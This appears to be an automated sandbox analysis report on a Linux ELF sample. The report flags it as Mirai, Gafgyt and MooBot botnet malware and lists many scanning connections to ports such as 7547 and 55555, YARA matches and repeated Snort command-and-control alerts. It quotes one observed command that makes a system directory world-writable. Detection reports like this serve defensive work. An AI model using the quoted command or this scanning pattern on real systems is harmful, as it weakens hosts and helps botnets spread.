Source: /bin/sh (PID: 6226)

Chmod executable with 777: /usr/bin/chmod -> chmod 777 usr/sbin

Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 33584 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 50600 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35250 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 35326 -> 1723
Source: unknown	Network traffic detected: HTTP traffic on port 58818 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 53658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56826 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56846 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53498 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37694 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37698 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53666 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32776 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43894 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32776
Source: unknown	Network traffic detected: HTTP traffic on port 60224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43944 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60244 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45658 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39026 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39170 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42208 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35590 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45602 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32822 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35634 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39074 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39076 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42252 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39026
Source: unknown	Network traffic detected: HTTP traffic on port 39210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42260 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39218 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39170
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42208
Source: unknown	Network traffic detected: HTTP traffic on port 35648 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40162 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50846 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54294 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 32822
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45658
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 45602
Source: unknown	Network traffic detected: HTTP traffic on port 39088 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39076
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39074
Source: unknown	Network traffic detected: HTTP traffic on port 42270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35652 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42252
Source: unknown	Network traffic detected: HTTP traffic on port 39232 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42260
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39218
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39210
Source: unknown	Network traffic detected: HTTP traffic on port 49572 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39088
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42270
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39232
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33216 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53292 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33224 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59894 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53298 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39088
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46364
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46370 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35820 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35820
Source: unknown	Network traffic detected: HTTP traffic on port 35850 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35852 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35854 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35850
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35852
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35854
Source: unknown	Network traffic detected: HTTP traffic on port 46370 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43934 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33086 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46370
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33134 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59880 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33086 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59880
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33134
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 33086
Source: unknown	Network traffic detected: HTTP traffic on port 59884 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 59884
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59722 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41188 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40030 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39344 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53874 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 59730 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41204 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46574 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53486 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53502 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39364 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40046 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46574 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33882 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37400 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37412 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46366 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35164 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35150 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49572 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45154 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 36110 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56344 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33916 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45220 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36182 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36110
Source: unknown	Network traffic detected: HTTP traffic on port 56416 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35846 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36130 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35846
Source: unknown	Network traffic detected: HTTP traffic on port 46388 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36130
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 33340 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46436 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44082 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46436 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39210 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51400 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51400
Source: unknown	Network traffic detected: HTTP traffic on port 36886 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36890 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33270 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53930 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 40360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43284 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39596 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33280 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39782 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 36166 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43556 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 34336 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39802 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43616 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43296 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48738 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40360 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60692 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48750 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 35780 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40360
Source: unknown	Network traffic detected: HTTP traffic on port 51706 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46746 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 35780
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 36166
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51706
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39436 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 52988 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40694 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37890 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 57294 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48750 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49002 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45262 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46320 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45300 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53790 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46320
Source: unknown	Network traffic detected: HTTP traffic on port 60108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33788 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48080 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44130 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48060 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60108 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58060
Source: unknown	Network traffic detected: HTTP traffic on port 58102 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60764 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 58102
Source: unknown	Network traffic detected: HTTP traffic on port 60746 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53832 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 46334
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60150 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33830 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 52720 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 49572 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48264 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48242 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34006 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 40426 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 48264 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56774 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48928 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 56778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39096 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51256 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 50622 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 34106 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 60748 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46510 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 51216 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46510 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 48108 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37378 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 46510 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 37358 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49572 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60372 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49328
Source: unknown	Network traffic detected: HTTP traffic on port 51476 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 60384 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60372
Source: unknown	Network traffic detected: HTTP traffic on port 45122 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 60384
Source: unknown	Network traffic detected: HTTP traffic on port 45140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39912 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 45140 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49334 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 57848 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 49334
Source: unknown	Network traffic detected: HTTP traffic on port 39912 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 51494 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40004 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43980 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59412 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 58096 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 43888 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59592 -> 52869
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 40004
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43980
Source: unknown	Network traffic detected: HTTP traffic on port 39964 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 59042 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 58122 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 39912 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 43888
Source: unknown	Network traffic detected: HTTP traffic on port 59054 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 53700 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 39912
Source: unknown	Network traffic detected: HTTP traffic on port 44184 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51476
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 51494
Source: unknown	Network traffic detected: HTTP traffic on port 57856 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 44186 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44184
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 44186
Source: unknown	Network traffic detected: HTTP traffic on port 39976 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 54518 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54084 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33834 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 8088 -> 34924
Source: unknown	Network traffic detected: HTTP traffic on port 46510 -> 5555
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 54392 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 33828 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 38340 -> 8081
Source: unknown	Network traffic detected: HTTP traffic on port 54612 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54612
Source: unknown	Network traffic detected: HTTP traffic on port 54636 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 54636
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33054 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33054 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 42812 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42812
Source: unknown	Network traffic detected: HTTP traffic on port 42840 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 33106 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 46966 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 48758 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49542 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 41416 -> 55555
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 42840
Source: unknown	Network traffic detected: HTTP traffic on port 46978 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48758
Source: unknown	Network traffic detected: HTTP traffic on port 48778 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 49562 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 7547 -> 48778
Source: unknown	Network traffic detected: HTTP traffic on port 40340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40330 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 40340 -> 7547
Source: unknown	Network traffic detected: HTTP traffic on port 32858 -> 7547

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: wbUtbKZmxZ.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: wbUtbKZmxZ.elf, type: SAMPLE
Source: Yara match	File source: 6249.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 6221.1.0000000008048000.0000000008067000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Detected Mirai

Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
Source: Traffic	Snort IDS: ET TROJAN ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)
